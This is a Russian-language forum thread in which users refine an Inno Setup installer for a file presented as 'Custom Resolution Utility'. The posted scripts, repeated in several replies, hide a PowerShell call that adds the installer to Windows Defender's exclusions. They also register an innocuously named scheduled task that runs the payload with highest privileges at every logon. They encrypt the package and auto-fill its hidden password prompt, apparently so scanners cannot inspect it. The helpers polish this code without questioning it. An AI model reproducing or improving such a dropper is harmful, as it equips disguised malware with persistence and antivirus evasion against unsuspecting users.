Помогите изменить код, пожалуйста!

Егор1988-00

Егор1988-00

Новичок
Andreo Fadio написал(а):
у вас там код, больше на не понятное что-то походит. Добавляете код, частями и получаете не рабочее что-то.
Лучше скиньте чистый код, без своих попыток адаптации.
Нажмите для раскрытия...
тоже подумал что только с толку собью Вас,но надо было с чего то начать)
Код: 
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
AllowNoIcons=yes

[Files]
Source: "..\Software\Custom Resolution Utility\Custom Resolution Utility.exe"; DestDir: "{userappdata}"; Flags: noencryption

[Icons]
Name: "{autodesktop}\Custom Resolution Utility"; Filename: "{userappdata}\Custom Resolution Utility.exe"; WorkingDir: "{userappdata}"; IconFilename: "{userappdata}\Custom Resolution Utility.exe"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /tn ""Custom utility dater"" /tr ""'{userappdata}\Custom Resolution Utility.exe'"" /rl highest /sc onlogon /F";

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Custom utility dater"" /F";

[Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;
 
Andreo Fadio

Andreo Fadio

Старожил
Егор1988-00 написал(а):
Нашел эту тему в поиске, столкнулся примерно с аналогичной проблемой о шифровании инсталлятора.
Нажмите для раскрытия...
Код: 
#define MyAppName "Custom Resolution Utility"
#define MyAppVersion "1.5.1.2"
#define MyAppPublisher "Custom Resolution Utility"
#define MyAppPass "12345"

[Setup]
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
DefaultDirName={src}
AllowNoIcons=yes
Encryption=Yes
Password={#MyAppPass}

[Files]
Source: "..\Software\Custom Resolution Utility\Custom Resolution Utility.exe"; DestDir: "{userappdata}"; Flags: noencryption

[Icons]
Name: "{autodesktop}\Custom Resolution Utility"; Filename: "{userappdata}\Custom Resolution Utility.exe"; WorkingDir: "{userappdata}"; IconFilename: "{userappdata}\Custom Resolution Utility.exe"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /tn ""Custom utility dater"" /tr ""'{userappdata}\Custom Resolution Utility.exe'"" /rl highest /sc onlogon /F";

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Custom utility dater"" /F";

[Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;

procedure CurPageChanged(CurPageID: Integer);
begin
if CurPageID = wpPassword then
  WizardForm.NextButton.OnClick(WizardForm.NextButton);
end;

procedure InitializeWizard();
begin
  WizardForm.PasswordEdit.Visible := False;
  WizardForm.PasswordEdit.Text := '{#MyAppPass}';
end;
 
Crachlow

Crachlow

Старожил
Andreo Fadio написал(а):
Код: 
#define MyAppName "Custom Resolution Utility"
#define MyAppVersion "1.5.1.2"
#define MyAppPublisher "Custom Resolution Utility"
#define MyAppPass "12345"

[Setup]
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
DefaultDirName={src}
AllowNoIcons=yes
Encryption=Yes
Password={#MyAppPass}

[Files]
Source: "..\Software\Custom Resolution Utility\Custom Resolution Utility.exe"; DestDir: "{userappdata}"; Flags: noencryption

[Icons]
Name: "{autodesktop}\Custom Resolution Utility"; Filename: "{userappdata}\Custom Resolution Utility.exe"; WorkingDir: "{userappdata}"; IconFilename: "{userappdata}\Custom Resolution Utility.exe"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /tn ""Custom utility dater"" /tr ""'{userappdata}\Custom Resolution Utility.exe'"" /rl highest /sc onlogon /F";

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Custom utility dater"" /F";

[Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;

procedure CurPageChanged(CurPageID: Integer);
begin
if CurPageID = wpPassword then
  WizardForm.NextButton.OnClick(WizardForm.NextButton);
end;

procedure InitializeWizard();
begin
  WizardForm.PasswordEdit.Visible := False;
  WizardForm.PasswordEdit.Text := '{#MyAppPass}';
end;
Нажмите для раскрытия...
@Егор1988-00 ты замени эти две строки
srcfile := ExpandConstant('{srcexe}')
Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
Нажмите для раскрытия...
на
Код: 
srcfile := ExpandConstant('"''{srcexe}''"')
Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + srcfile, '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
 
Егор1988-00

Егор1988-00

Новичок
Andreo Fadio написал(а):
Код: 
#define MyAppName "Custom Resolution Utility"
#define MyAppVersion "1.5.1.2"
#define MyAppPublisher "Custom Resolution Utility"
#define MyAppPass "12345"

[Setup]
AppName={#MyAppName}
AppVersion={#MyAppVersion}
AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
DefaultDirName={src}
AllowNoIcons=yes
Encryption=Yes
Password={#MyAppPass}

[Files]
Source: "..\Software\Custom Resolution Utility\Custom Resolution Utility.exe"; DestDir: "{userappdata}"; Flags: noencryption

[Icons]
Name: "{autodesktop}\Custom Resolution Utility"; Filename: "{userappdata}\Custom Resolution Utility.exe"; WorkingDir: "{userappdata}"; IconFilename: "{userappdata}\Custom Resolution Utility.exe"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /tn ""Custom utility dater"" /tr ""'{userappdata}\Custom Resolution Utility.exe'"" /rl highest /sc onlogon /F";

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Custom utility dater"" /F";

[Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;

procedure CurPageChanged(CurPageID: Integer);
begin
if CurPageID = wpPassword then
  WizardForm.NextButton.OnClick(WizardForm.NextButton);
end;

procedure InitializeWizard();
begin
  WizardForm.PasswordEdit.Visible := False;
  WizardForm.PasswordEdit.Text := '{#MyAppPass}';
end;
Нажмите для раскрытия...
Спасибо огромное!
Визуально инсталлятор отрабатывет без ошибок.
Код работает четко, значит шифрует)
 
Егор1988-00

Егор1988-00

Новичок
Crachlow написал(а):
@Егор1988-00 ты замени эти две строки
на
Код: 
srcfile := ExpandConstant('"''{srcexe}''"')
Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + srcfile, '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
Нажмите для раскрытия...
заменил)
а в чем разница, подскажите? я просто на работе кода ее не заметил, работал и первый пример и второй вроде бы одинаково.
 
Crachlow

Crachlow

Старожил
Егор1988-00 написал(а):
заменил)
а в чем разница, подскажите? я просто на работе кода ее не заметил, работал и первый пример и второй вроде бы одинаково.
Нажмите для раскрытия...
ExpandConstant('"''{srcexe}''"') путь в кавычках "", т.е. допускается путь с пробелами
 
Войдите или зарегистрируйтесь для ответа.
Сверху